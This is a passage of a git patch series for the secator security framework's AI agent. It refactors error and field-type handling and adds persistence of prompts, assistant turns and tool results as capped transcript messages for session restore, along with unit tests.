- f"Action failed with error: {detail}\n" - "Fix the issue and try again." - ) - - def safe_dispatch_action(action: Dict, ctx: ActionContext) -> Generator: """Dispatch a single action, converting any raised ``Exception`` into an ``Error`` output item instead of letting it abort the AI loop. @@ -301,16 +274,11 @@ def safe_dispatch_action(action: Dict, ctx: ActionContext) -> Generator: ``GeneratorExit`` (all ``BaseException`` subclasses) propagate so legitimate control-flow and generator close are never swallowed. """ - import traceback as _traceback try: yield from dispatch_action(action, ctx) except Exception as e: # noqa: BLE001 - per-action resilience: feed error back to LLM, never abort the loop context = _get_result_context(action, ctx) - yield Error( - message=_format_action_error(e), - traceback=_traceback.format_exc(), - _context=context, - ) + yield Error.from_exception(e, _context=context) def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator: diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index 2f89ad40c..15d847183 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -1048,11 +1048,9 @@ def _boom(*a, **k): errors = [r for r in results if isinstance(r, Error)] self.assertEqual(len(errors), 1, "expected exactly one Error item") err = errors[0] - # LLM-facing feedback phrasing + the exception type/message. - self.assertIn("Action failed with error", err.message) + # LLM-facing feedback carries the exception type/message (Error.from_exception). self.assertIn("TypeError", err.message) self.assertIn("'str' object is not a mapping", err.message) - self.assertIn("try again", err.message.lower()) # Attributed to the failing tool call so it groups into that tool result. self.assertEqual(err._context.get("tool_call_id"), "tc_err") self.assertEqual(err._context.get("tool_call_name"), "run_shell") From 0539f24e4a25614623bb97bf653d23190689f130 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 01:12:37 +0200 Subject: [PATCH 106/129] refactor(output_types): share field-type resolution via OutputType.field_types Extract the field-name -> concrete-type resolution duplicated between OutputType.validate_fields and actions._resolve_field_type onto a single OutputType.field_types() classmethod, reused by both validate_fields and _coerce_finding_fields. Behavior unchanged. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/actions.py | 28 +------------------------- secator/output_types/_base.py | 38 ++++++++++++++++++++++++++++++----- 2 files changed, 34 insertions(+), 32 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index dcb03e5a2..f3b141860 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -513,32 +513,6 @@ def _handle_stop(action: Dict, ctx: ActionContext) -> Generator: yield Ai(content=reason, ai_type="stopped", _context=context) -def _resolve_field_type(f) -> Optional[type]: - """Resolve a dataclass field's declared type to a concrete builtin type. - - Mirrors ``OutputType.validate_fields``: ``f.type`` may be an actual type - (``bool``) or — under ``from __future__ import annotations`` — a string - annotation (``'bool'``). Returns the concrete type (``bool``/``int``/ - ``float``/``list``/``dict``/``str``) or ``None`` if it can't be resolved. - """ - t = f.type - # Actual type, e.g. bool / int / float / str - if isinstance(t, type): - return t - # Typing generic, e.g. List[str] -> list - origin = getattr(t, '__origin__', None) - if origin is not None: - return origin - # String annotation, e.g. 'bool', 'int', "List[str]" - if isinstance(t, str): - name = t.split('[', 1)[0].strip().lower() - return { - 'bool': bool, 'int': int, 'float': float, - 'str': str, 'list': list, 'dict': dict, - }.get(name) - return None - - def _coerce_finding_fields(cls, data: Dict) -> Dict: """Coerce AI-provided scalar values to a finding class's declared field types. @@ -550,7 +524,7 @@ def _coerce_finding_fields(cls, data: Dict) -> Dict: unparseable values are left untouched (validation will still surface a real error rather than silently dropping data). """ - field_types = {f.name: _resolve_field_type(f) for f in fields(cls)} + field_types = cls.field_types() for key, value in list(data.items()): if key.startswith('_'): continue diff --git a/secator/output_types/_base.py b/secator/output_types/_base.py index 0a7c08620..a14c77e48 100644 --- a/secator/output_types/_base.py +++ b/secator/output_types/_base.py @@ -147,6 +147,37 @@ def toDict(self, exclude=[]): return {k: v for k, v in data.items() if k not in exclude} return data + @classmethod + def field_types(cls) -> dict: + """Resolve each non-underscore field's declared type to a concrete builtin type. + + ``f.type`` may be an actual type (``bool``), a typing generic (``List[str]``, + resolved via ``__origin__``), or — under ``from __future__ import annotations`` + — a string annotation (``'bool'``, ``'List[str]'``). Returns + ``{field_name: concrete_type}``, omitting fields that can't be resolved. + """ + type_map = { + 'bool': bool, 'int': int, 'float': float, + 'str': str, 'list': list, 'dict': dict, + } + resolved = {} + for f in fields(cls): + if f.name.startswith('_'): + continue + t = f.type + if isinstance(t, type): + resolved[f.name] = t + continue + origin = getattr(t, '__origin__', None) + if origin is not None: + resolved[f.name] = origin + continue + if isinstance(t, str): + name = t.split('[', 1)[0].strip().lower() + if name in type_map: + resolved[f.name] = type_map[name] + return resolved + @classmethod def validate_fields(cls, data: dict) -> list: """Validate data types against dataclass field definitions. @@ -155,17 +186,14 @@ def validate_fields(cls, data: dict) -> list: """ errors = [] type_names = {str: 'str', int: 'int', float: 'float', dict: 'dict', list: 'list', bool: 'bool'} + expected_types = cls.field_types() for f in fields(cls): if f.name.startswith('_') or f.name not in data: continue value = data[f.name] if value is None: continue - expected_type = f.type if isinstance(f.type, type) else None - if expected_type is None: - origin = getattr(f.type, '__origin__', None) - if origin is not None: - expected_type = origin + expected_type = expected_types.get(f.name) if expected_type and not isinstance(value, expected_type): expected_name = type_names.get(expected_type, getattr(expected_type, '__name__', str(expected_type))) actual_name = type_names.get(type(value), type(value).__name__) From d7202f65821cd3b40dd9e61228621e8eafd6e406 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 01:14:51 +0200 Subject: [PATCH 107/129] style(ai): trim verbose core comments per review Delete comments that restate the obvious or describe UI behavior; reduce the rest to one terse line capturing the non-obvious why, per reviewer request. No logic changes. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/actions.py | 33 ++------------------------------ secator/ai/interactivity.py | 38 +++++-------------------------------- secator/tasks/ai.py | 24 +++-------------------- 3 files changed, 10 insertions(+), 85 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index f3b141860..de920a1fb 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -342,16 +342,7 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator yield Error(message=str(e), _context=context) return - # Emit the action Ai item now that the runner exists: its on_init hook has - # stamped the runner id into context, so we can surface it on the item - # (extra_data.runner_id/runner_type) for the UI to link to a RunnerCard. - # Emit even when silent (batch mode): silent only suppresses live console - # chatter, but the action doc must still be yielded so it is persisted and - # the UI can render a RunnerCard for it. - # Prefer the context id (`{type}_id`) the on_init hook stamped — that IS the - # persisted runner doc's `_id`, which is what the UI's getRunner queries. - # `runner.id` is secator's internal id and does NOT match the persisted doc, - # so the RunnerCard showed "Runner not found". + # Prefer the persisted doc id ({type}_id from on_init) over runner.id. runner_id = context.get(f"{runner_type}_id", "") or runner.id yield Ai( content=name, @@ -374,16 +365,7 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator def _get_result_context(action, ctx): - """Get result context from action. - - Always stamps the ai task's ``session_id`` (the conversation id) onto the - derived context. The ai task's ``self.session_id`` may be derived (from - ``session_name`` / the runner id) and is therefore not guaranteed to already - live in ``ctx.context``. Stamping it here means every sub-runner (task / - workflow / scan) dispatched by the ai task persists a runner doc whose - ``context.session_id`` matches the conversation — so the runners spawned by a - conversation are queryable by that conversation's session_id. - """ + """Derive a sub-runner result context, stamping the conversation session_id.""" new_ctx = ctx.context.copy() if ctx.session_id and not new_ctx.get("session_id"): new_ctx["session_id"] = ctx.session_id @@ -500,9 +482,6 @@ def _handle_follow_up(action: Dict, ctx: ActionContext) -> Generator: context = _get_result_context(action, ctx) reason = action.get("reason", "completed") choices = action.get("choices", []) - # Store choices on the top-level `choices` field (what the web UI reads) AND in - # extra_data (back-compat). Without the top-level field, the persisted follow-up - # doc has `choices: []` and the UI renders no choice buttons. yield Ai(content=reason, ai_type="follow_up", choices=choices, extra_data={"choices": choices}, _context=context) @@ -640,8 +619,6 @@ def _handle_add_finding(action: Dict, ctx: ActionContext) -> Generator: extra.update(unknown) finding_data['extra_data'] = extra - # Coerce AI-provided scalars to declared field types (LLMs send wrong-typed - # scalars, e.g. a bool field as the string "true") before validating. finding_data = _coerce_finding_fields(cls, finding_data) # Validate field types before instantiation @@ -656,8 +633,6 @@ def _handle_add_finding(action: Dict, ctx: ActionContext) -> Generator: yield Ai( content=f'{str(finding)}', ai_type="add_finding", - # Carry the created finding so the web UI can render its FindingCard - # (VulnerabilityCard/SubdomainCard/…) — it routes on `_type`. extra_data={"finding": finding.toDict()}, _context=context ) @@ -733,10 +708,6 @@ def _run_batch(actions: List[Dict], ctx: ActionContext) -> Generator: progress_ids = {} def run_single(act: Dict, idx: int) -> Dict: - # Use safe_dispatch_action so one action raising doesn't abort the whole - # batch (the executor future.result() would otherwise re-raise into the - # main loop). The error is captured as an Error item attributed to that - # action's tool_call_id and fed back to the LLM like any other result. results = [] for item in safe_dispatch_action(act, batch_ctx): if isinstance(item, Ai) and item.ai_type == "token_usage": diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 78e314145..77c2b09f4 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -136,26 +136,14 @@ def ask_user(self, question, choices, session_id, prompt_type="follow_up", **con return {"answer": answer} def poll_steers(self, session_id): - """Drain pending steer docs for ``session_id`` and mark them consumed. - - A "steer" is a mid-flight user message: it's written into the channel - (``_type:"ai"``, ``ai_type:"steer"``, ``status:"pending"``) WHILE the agent - is running, and the worker picks it up at the next loop checkpoint to - redirect the next turn. This is distinct from a follow-up ``answer`` (which - the worker is *blocked* waiting on) and from a hard Stop (which revokes the - Celery task). - - Returns a list of steer content strings (oldest-first). Each returned doc is - flipped to ``status:"consumed"`` so it's injected exactly once. Robust by - design: any backend error returns ``[]`` so a steer can never crash the run. + """Drain pending steer docs for ``session_id`` and mark them consumed + (oldest-first). Any backend error returns ``[]`` — a steer must never crash the run. """ if self.query_engine is None: return [] base = { "_type": "ai", "ai_type": "steer", - # Correlate by the runner context's session_id, auto-stamped on every - # persisted item (item._context = self.context) — see _poll_for_answer. "_context.session_id": session_id, "status": "pending", } @@ -185,29 +173,13 @@ def poll_steers(self, session_id): def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): """Poll DB for the answer to the SPECIFIC pending prompt until timeout. - The query MUST be scoped to the exact prompt the worker is currently - blocked on — identified by ``prompt_uuid`` (stamped into the pending doc's - ``extra_data.prompt_uuid`` before it was persisted). Matching only on - ``{session_id, status:"answered"}`` is a bug: a multi-turn conversation - accumulates *previously* answered follow-up docs, so an unscoped query - returns a STALE answer immediately, the worker re-injects that old answer - as a brand-new prompt, re-runs the whole turn, asks again, re-matches the - same stale doc — an infinite respawn loop that re-runs scans and burns - tokens. Scoping on ``prompt_uuid`` makes the poll resolve only THIS - prompt's own answer (and time out only THIS prompt's doc). - - A steer (mid-flight user message) breaks the wait: if a pending steer - arrives for this session while we're blocked on a follow-up, we return its - content as the "answer" so the loop redirects immediately instead of - stalling until the follow-up is explicitly answered (or times out). This - keeps follow-up semantics intact for the no-steer case. + Scoped by ``prompt_uuid`` (not just session_id + status:"answered"), else a + multi-turn conversation matches a stale answered doc and respawn-loops. A + pending steer also breaks the wait early and is returned as the answer. """ base = { "_type": "ai", "ai_type": prompt_type, - # Correlate by the runner context's session_id: it's auto-stamped on - # every persisted item (item._context = self.context), so it's always - # present — unlike the top-level session_id field. "_context.session_id": session_id, } if prompt_uuid: diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 57d04f654..a4ffb865e 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -342,9 +342,7 @@ def _run_loop(self) -> Generator: iteration += 1 try: - # Mid-flight steering: drain any user messages sent WHILE the agent - # was running and inject them into history so the next turn redirects. - # Cheap query per iteration; robust (never crashes the loop). + # Drain mid-flight steer messages and inject them so the next turn redirects. yield from self._drain_steers() # Auto-summarize when context > 85% threshold @@ -553,13 +551,7 @@ def _init_options(self): workspace=self.reports_folder or "" ) - # Create interactivity backend. - # For the remote (web) channel, the UI generates a stable session_id and - # reuses it verbatim on respawn so a respawned task finds its prior - # `_type:"ai"` docs. It arrives on the runner context (self.context) — - # the dispatcher sends self.context to the worker (task.py build_celery) - # and pops run_opts['context'], so self.context is authoritative here; - # run_opts['context'] only carries it for local/sync runs. + # Remote channel: UI sends a stable session_id on self.context; local uses self.id. self.session_id = ( self.passed_context.get("session_id") or (self.context or {}).get("session_id") @@ -849,11 +841,6 @@ def _dispatch_and_collect(self, actions, ctx): follow_up_prompt_uuid = None is_batch = len(actions) > 1 - # safe_dispatch_action wraps each action's dispatch so a Python error during - # a handler (e.g. a malformed LLM action/opts raising TypeError) becomes an - # Error item fed back to the LLM as that tool call's result, instead of - # propagating out and killing the main loop. _run_batch already wraps each - # of its actions the same way internally. action_iter = _run_batch(actions, ctx) if is_batch else safe_dispatch_action(actions[0], ctx) collected = [] @@ -868,12 +855,7 @@ def _dispatch_and_collect(self, actions, ctx): if result.ai_type == "follow_up": follow_up_ai = result follow_up_choices = result.choices or (result.extra_data or {}).get("choices", []) - # Persist the follow-up doc in its FINAL renderable state. add_result() - # dedupes by _uuid, so once persisted here it can never be re-persisted - # (the later `yield follow_up_ai` in the main loop is dropped). For a - # remote run, stamp status="pending" + top-level choices + session_id - # BEFORE the single add_result, so the one persisted doc is what the web - # UI needs: status=="pending" (clears "thinking") and non-empty choices. + # Persist the follow-up doc once, in its final renderable state (add_result dedupes by _uuid). if isinstance(self.backend, RemoteBackend): follow_up_ai.status = "pending" follow_up_ai.session_id = self.session_id From a104049cd07c107888e3fc6d05afcd24caaf2c0f Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 13:36:42 +0200 Subject: [PATCH 108/129] feat(ai): add Ai.message transcript carrier + persisted-message size backstop MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a compare=False `message: dict` field on the Ai output type to carry the raw litellm message (role/content/tool_calls or role:tool) for a transcript turn, so restore_history_from_db can later rebuild the full conversation verbatim. Add MAX_PERSISTED_MESSAGE_CHARS + cap_message(msg, max_chars) in secator/ai/history.py: a non-mutating BSON-safety backstop that truncates content and tool-call arguments with a …[capped] marker, keeping a persisted `_type:"ai"` doc far below Mongo's 16MB limit. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/history.py | 28 ++++++++++++++++++++++++++++ secator/output_types/ai.py | 5 +++++ tests/unit/test_ai_history.py | 22 ++++++++++++++++++++++ tests/unit/test_output_types.py | 17 +++++++++++++++++ 4 files changed, 72 insertions(+) diff --git a/secator/ai/history.py b/secator/ai/history.py index 8e7947769..de08abdb5 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -13,6 +13,34 @@ COMPACTION_THRESHOLD_PCT = 85 # Trigger compaction at 85% of usable context MAX_ACTION_TOKENS = 10_000 # Hard cap per action result +# Hard cap on a persisted transcript message's content / tool-call arguments. +# A `_type:"ai"` doc must stay far below Mongo's 16MB BSON limit; tool-result +# content is already token-bounded upstream (truncate_to_tokens), so this is a +# backstop for a pathological envelope, not primary truncation. +MAX_PERSISTED_MESSAGE_CHARS = 12000 + + +def _cap(text, max_chars): + if isinstance(text, str) and len(text) > max_chars: + return text[:max_chars] + '…[capped]' + return text + + +def cap_message(msg: dict, max_chars: int = MAX_PERSISTED_MESSAGE_CHARS) -> dict: + """Return a copy of a litellm message with content + tool-call arguments + capped to max_chars (BSON-safety backstop). Non-string/short fields untouched.""" + out = dict(msg) + if 'content' in out: + out['content'] = _cap(out['content'], max_chars) + if out.get('tool_calls'): + out['tool_calls'] = [ + {**tc, 'function': {**tc.get('function', {}), + 'arguments': _cap(tc.get('function', {}).get('arguments'), max_chars)}} + if tc.get('function') else tc + for tc in out['tool_calls'] + ] + return out + def get_context_window(model: str) -> int: """Get model's context window size from litellm. diff --git a/secator/output_types/ai.py b/secator/output_types/ai.py index bbebd5254..ebe1729b4 100644 --- a/secator/output_types/ai.py +++ b/secator/output_types/ai.py @@ -84,6 +84,11 @@ class Ai(OutputType): status: str = field(default='', compare=False) answer: str = field(default='', compare=False) choices: list = field(default_factory=list, compare=False) + # Raw litellm message for this transcript turn (role/content/tool_calls or + # role:tool/tool_call_id). Persisted so restore_history_from_db rebuilds the + # full conversation verbatim. Empty for non-transcript ai_types (action + # displays, follow_up, shell_output, etc.). compare=False: not an identity field. + message: dict = field(default_factory=dict, compare=False) # NOTE: no top-level `session_id` field — the conversation id is carried by # `_context.session_id`, auto-stamped on every persisted item from the runner # context (see ai._init_options). restore_history_from_db, the remote answer diff --git a/tests/unit/test_ai_history.py b/tests/unit/test_ai_history.py index b54802224..82b2c4714 100644 --- a/tests/unit/test_ai_history.py +++ b/tests/unit/test_ai_history.py @@ -777,5 +777,27 @@ def test_count_tokens_by_role_aggregates(self, mock_token_counter): self.assertNotIn("system", result) +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestCapMessage(unittest.TestCase): + + def test_cap_message_truncates_content_and_arguments(self): + from secator.ai.history import cap_message, MAX_PERSISTED_MESSAGE_CHARS + big = "x" * (MAX_PERSISTED_MESSAGE_CHARS + 500) + msg = {"role": "assistant", "content": big, + "tool_calls": [{"id": "1", "type": "function", + "function": {"name": "q", "arguments": big}}]} + out = cap_message(msg) + assert len(out["content"]) <= MAX_PERSISTED_MESSAGE_CHARS + 20 # marker slack + assert "[capped]" in out["content"] + assert len(out["tool_calls"][0]["function"]["arguments"]) <= MAX_PERSISTED_MESSAGE_CHARS + 20 + # original not mutated + assert len(msg["content"]) == MAX_PERSISTED_MESSAGE_CHARS + 500 + + def test_cap_message_leaves_small_messages_untouched(self): + from secator.ai.history import cap_message + msg = {"role": "tool", "tool_call_id": "1", "content": "small"} + assert cap_message(msg) == msg + + if __name__ == '__main__': unittest.main() diff --git a/tests/unit/test_output_types.py b/tests/unit/test_output_types.py index 77569ed08..75bede663 100644 --- a/tests/unit/test_output_types.py +++ b/tests/unit/test_output_types.py @@ -113,3 +113,20 @@ def test_warning_rich_no_source(self): warn = Warning(message='watch out') rich_str = warn.__rich__() assert 'watch out' in rich_str + + +class TestAiMessageField(unittest.TestCase): + + def test_ai_message_roundtrips_through_todict(self): + from secator.output_types.ai import Ai + msg = {'role': 'user', 'content': 'x'} + ai = Ai(content='x', message=msg) + assert ai.message == msg + d = ai.toDict() + assert d['message'] == msg + + def test_ai_message_defaults_empty(self): + from secator.output_types.ai import Ai + ai = Ai(content='x') + assert ai.message == {} + assert ai.toDict()['message'] == {} From c4e5d2c832cc67b19d6778b1fe59affecd4affa7 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 13:42:31 +0200 Subject: [PATCH 109/129] feat(ai): persist prompt/assistant turns as raw litellm messages (incl tool-call-only turns) _add_assistant_to_history now returns the exact message dict it appends to chat history, and every prompt/response Ai emitted from the main loop carries that message (capped via cap_message) for session-restore persistence. The response emission no longer gates on `if content:`, so tool-call-only assistant turns (previously silently dropped) now persist their tool_calls. --- secator/tasks/ai.py | 66 ++++++++++++++++++++--------------- tests/unit/test_ai_session.py | 51 +++++++++++++++++++++++++++ 2 files changed, 88 insertions(+), 29 deletions(-) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index cdbc87c28..5f7b6eb62 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -19,7 +19,7 @@ from secator.ai.guardrails import PermissionEngine from secator.ai.interactivity import create_backend, RemoteBackend from secator.ai.encryption import SensitiveDataEncryptor, maybe_encrypt -from secator.ai.history import ChatHistory, truncate_to_tokens, get_context_window +from secator.ai.history import ChatHistory, truncate_to_tokens, get_context_window, cap_message from secator.ai.prompts import ( load_prompt, get_system_prompt, get_mode_config, format_tool_result, format_continue, MODES ) @@ -243,7 +243,8 @@ def yielder(self) -> Generator: self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) self.history.set_system(maybe_encrypt(self.system_prompt, self.encryptor)) self.history.add_user(maybe_encrypt(self.prompt, self.encryptor)) - yield Ai(content=self.prompt, ai_type="prompt") + yield Ai(content=self.prompt, ai_type="prompt", + message={"role": "user", "content": maybe_encrypt(self.prompt, self.encryptor)}) yield Info(message=f"Using model: {self.model}, mode: {self.mode}") # Run loop @@ -329,7 +330,8 @@ def _maybe_resume_remote(self): # Append the new user message that respawned the conversation if self.prompt: self.history.add_user(maybe_encrypt(self.prompt, self.encryptor)) - yield Ai(content=self.prompt, ai_type="prompt") + yield Ai(content=self.prompt, ai_type="prompt", + message={"role": "user", "content": maybe_encrypt(self.prompt, self.encryptor)}) yield Info(message=f"Resumed session from DB ({len(self.history.messages)} messages), model: {self.model}, mode: {self.mode}") # noqa: E501 yield from self._run_loop() @@ -490,25 +492,25 @@ def _run_loop(self) -> Generator: empty_streak = 0 - # Add assistant message to history - self._add_assistant_to_history(content, tool_calls) - - # Yield response content - if content: - display_content = self.encryptor.decrypt(content) if self.encryptor else content - yield Ai( - content=display_content, - ai_type="response", - mode=self.mode, - model=self.intent_model, - summary=not tool_calls, - extra_data={ - "iteration": iteration, - "max_iterations": self.max_iterations, - "tokens": usage.get("tokens") if usage else None, - "cost": usage.get("cost") if usage else None, - }, - ) + # Add assistant message to history and capture it for persistence + assistant_msg = self._add_assistant_to_history(content, tool_calls) + + # Persist the assistant turn (even tool-call-only turns carry tool_calls) + display_content = (self.encryptor.decrypt(content) if (self.encryptor and content) else (content or '')) + yield Ai( + content=display_content, + ai_type="response", + mode=self.mode, + model=self.intent_model, + summary=not tool_calls, + message=cap_message(assistant_msg), + extra_data={ + "iteration": iteration, + "max_iterations": self.max_iterations, + "tokens": usage.get("tokens") if usage else None, + "cost": usage.get("cost") if usage else None, + }, + ) # Process tool calls → validated actions follow_up_choices = None @@ -1122,7 +1124,7 @@ def _drain_history_usage(self): history.billed_cost = 0.0 def _add_assistant_to_history(self, content, tool_calls): - """Add assistant message (with optional tool calls) to chat history.""" + """Add assistant message (with optional tool calls) to chat history; return the message.""" if tool_calls: litellm_tool_calls = [{ "id": tc.id, @@ -1133,11 +1135,16 @@ def _add_assistant_to_history(self, content, tool_calls): else json.dumps(tc.function.arguments)), }, } for tc in tool_calls] - self.history.add_assistant_with_tool_calls( - maybe_encrypt(content, self.encryptor) if content else None, - litellm_tool_calls) - else: - self.history.add_assistant(maybe_encrypt(content, self.encryptor)) + enc = maybe_encrypt(content, self.encryptor) if content else None + msg = {"role": "assistant", "tool_calls": litellm_tool_calls} + if enc is not None: + msg["content"] = enc + self.history.messages.append(msg) + return msg + enc = maybe_encrypt(content, self.encryptor) + msg = {"role": "assistant", "content": enc} + self.history.messages.append(msg) + return msg # ------------------------------------------------------------------------- # Follow-up / prompt @@ -1211,5 +1218,6 @@ def _prompt_and_redetect(self, choices, prompt_uuid=None): # Token breakdown for prompt display by_role = self.history.count_tokens_by_role(self.model) extra_data = {"tokens": by_role["total"], "context_window": get_context_window(self.model), "by_role": by_role} - items.append(Ai(content=answer, ai_type="prompt", extra_data=extra_data)) + items.append(Ai(content=answer, ai_type="prompt", extra_data=extra_data, + message={"role": "user", "content": maybe_encrypt(answer, self.encryptor)})) return items diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py index 46035670b..4e6187e3c 100644 --- a/tests/unit/test_ai_session.py +++ b/tests/unit/test_ai_session.py @@ -432,5 +432,56 @@ def test_stamp_matches_restore_query_key(self): self.assertEqual(item_context.get("session_id"), task.session_id) +class TestAddAssistantToHistory(unittest.TestCase): + """_add_assistant_to_history must build + append the litellm message to chat + history AND return that exact dict, so the caller (the response emission in + _run_loop) can persist it verbatim via Ai.message — including tool-call-only + turns that carry no text content (today's `if content:` gate silently drops + those turns; Task 2 fixes that by always emitting on this returned message). + """ + + def _make_task(self, encryptor=None): + from secator.tasks.ai import ai + from secator.ai.history import ChatHistory + + task = ai.__new__(ai) + task.encryptor = encryptor + task.history = ChatHistory() + return task + + def test_add_assistant_returns_message_with_tool_calls(self): + task = self._make_task() + + class TC: + id = "call_1" + + class function: + name = "run_task" + arguments = '{"name":"nmap"}' + + msg = task._add_assistant_to_history(None, [TC]) + self.assertEqual(msg["role"], "assistant") + self.assertEqual(msg["tool_calls"][0]["id"], "call_1") + self.assertEqual(msg["tool_calls"][0]["function"]["name"], "run_task") + self.assertTrue("content" not in msg or msg["content"] is None) + # The returned dict is the exact one appended to history (same content). + self.assertEqual(task.history.messages[-1], msg) + + def test_add_assistant_returns_message_text_only(self): + task = self._make_task() + msg = task._add_assistant_to_history("hello", []) + self.assertEqual(msg, {"role": "assistant", "content": "hello"}) + self.assertEqual(task.history.messages[-1], msg) + + def test_cap_message_applies_to_returned_message(self): + from secator.ai.history import cap_message, MAX_PERSISTED_MESSAGE_CHARS + task = self._make_task() + long_content = "x" * (MAX_PERSISTED_MESSAGE_CHARS + 500) + msg = task._add_assistant_to_history(long_content, []) + capped = cap_message(msg) + self.assertLess(len(capped["content"]), len(long_content)) + self.assertTrue(capped["content"].endswith('…[capped]')) + + if __name__ == "__main__": unittest.main() From 990014a108034ae47114902e142b010ad6d590a2 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 13:48:44 +0200 Subject: [PATCH 110/129] feat(ai): persist tool results as tool_result transcript docs (with runner_id) --- secator/tasks/ai.py | 31 ++++++- tests/unit/test_ai_session.py | 152 ++++++++++++++++++++++++++++++++++ 2 files changed, 180 insertions(+), 3 deletions(-) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 5f7b6eb62..a993f0b4c 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -894,7 +894,12 @@ def _process_tool_calls(self, tool_calls, ctx): "expected_schema": {k: v.get("type", "any") for k, v in properties.items()}, "hint": "Retry with properly formatted JSON arguments.", }, separators=(',', ':')) - self.history.add_tool_result(name, tc_id, maybe_encrypt(error_msg, self.encryptor)) + _error_content = maybe_encrypt(error_msg, self.encryptor) + self.history.add_tool_result(name, tc_id, _error_content) + yield Ai(content=f"[{name}] malformed arguments", + ai_type="tool_result", + message=cap_message({"role": "tool", "tool_call_id": tc_id, "name": name, "content": _error_content}), + _context=dict(self.context)) continue # Coerce object/array args the model stringified (provider quirk) BEFORE @@ -919,7 +924,12 @@ def _process_tool_calls(self, tool_calls, ctx): "schema": {k: v.get("type", "any") for k, v in params.get("properties", {}).items()}, "hint": "Provide all required fields. Retry with a complete arguments object.", }, separators=(',', ':')) - self.history.add_tool_result(name, tc_id, maybe_encrypt(error_msg, self.encryptor)) + _error_content = maybe_encrypt(error_msg, self.encryptor) + self.history.add_tool_result(name, tc_id, _error_content) + yield Ai(content=f"[{name}] rejected: {reason}", + ai_type="tool_result", + message=cap_message({"role": "tool", "tool_call_id": tc_id, "name": name, "content": _error_content}), + _context=dict(self.context)) continue action["tool_call_id"] = tc_id @@ -939,7 +949,12 @@ def _process_tool_calls(self, tool_calls, ctx): denial_display = f"{denial}\n[gray42]{cmd_display}[/gray42]" if cmd_display else denial yield Warning(message=denial_display) error_msg = json.dumps({"error": denial}, separators=(',', ':')) - self.history.add_tool_result(name, tc_id, maybe_encrypt(error_msg, self.encryptor)) + _error_content = maybe_encrypt(error_msg, self.encryptor) + self.history.add_tool_result(name, tc_id, _error_content) + yield Ai(content=f"[{name}] denied", + ai_type="tool_result", + message=cap_message({"role": "tool", "tool_call_id": tc_id, "name": name, "content": _error_content}), + _context=dict(self.context)) continue actions.append(action) @@ -1051,6 +1066,16 @@ def _dispatch_and_collect(self, actions, ctx): tool_result_str, budget, self.model, fallback_path=fallback_path) tool_result_str = maybe_encrypt(tool_result_str, self.encryptor) self.history.add_tool_result(tc_name, tc_id, tool_result_str) + _tool_msg = {"role": "tool", "tool_call_id": tc_id, "name": tc_name, "content": tool_result_str} + _runner_id = next((r.get("_context", {}).get("task_id") + or r.get("_context", {}).get("workflow_id") + or r.get("_context", {}).get("scan_id") + for r in group_results if isinstance(r, dict)), "") + yield Ai(content=f"[{tc_name}] {len(serialized)} result(s)", + ai_type="tool_result", + message=cap_message(_tool_msg), + extra_data={"runner_id": _runner_id}, + _context=dict(self.context)) return { "follow_up_choices": follow_up_choices, diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py index 4e6187e3c..76d05f1f8 100644 --- a/tests/unit/test_ai_session.py +++ b/tests/unit/test_ai_session.py @@ -483,5 +483,157 @@ def test_cap_message_applies_to_returned_message(self): self.assertTrue(capped["content"].endswith('…[capped]')) +class TestDispatchAndCollectPersistsToolResult(unittest.TestCase): + """Task 3: _dispatch_and_collect must emit a tool_result Ai (in addition to + appending to self.history) at every add_tool_result site, so the tool turn + round-trips through session restore. Drives the real _dispatch_and_collect + with a minimal fake self, patching the shell handler to control the single + collected result (mirrors the existing _dispatch_and_collect harness in + test_ai_loop.py's TestLoopResilientToActionErrors).""" + + def _make_fake_self(self, context=None): + from secator.ai.interactivity import CLIBackend + + class _FakeHistory: + def __init__(self): + self.tool_results = [] + + def get_action_budget(self, model): + return 10000 + + def add_tool_result(self, name, tc_id, content): + self.tool_results.append((name, tc_id, content)) + + fake_self = MagicMock() + fake_self.backend = CLIBackend() + fake_self.session_id = "sess-tool-result" + fake_self.model = "test-model" + fake_self.reports_folder = None + fake_self.encryptor = None + fake_self.context = context if context is not None else {} + fake_self.history = _FakeHistory() + persisted = [] + fake_self.add_result = lambda item, **kw: persisted.append(item) + return fake_self, persisted + 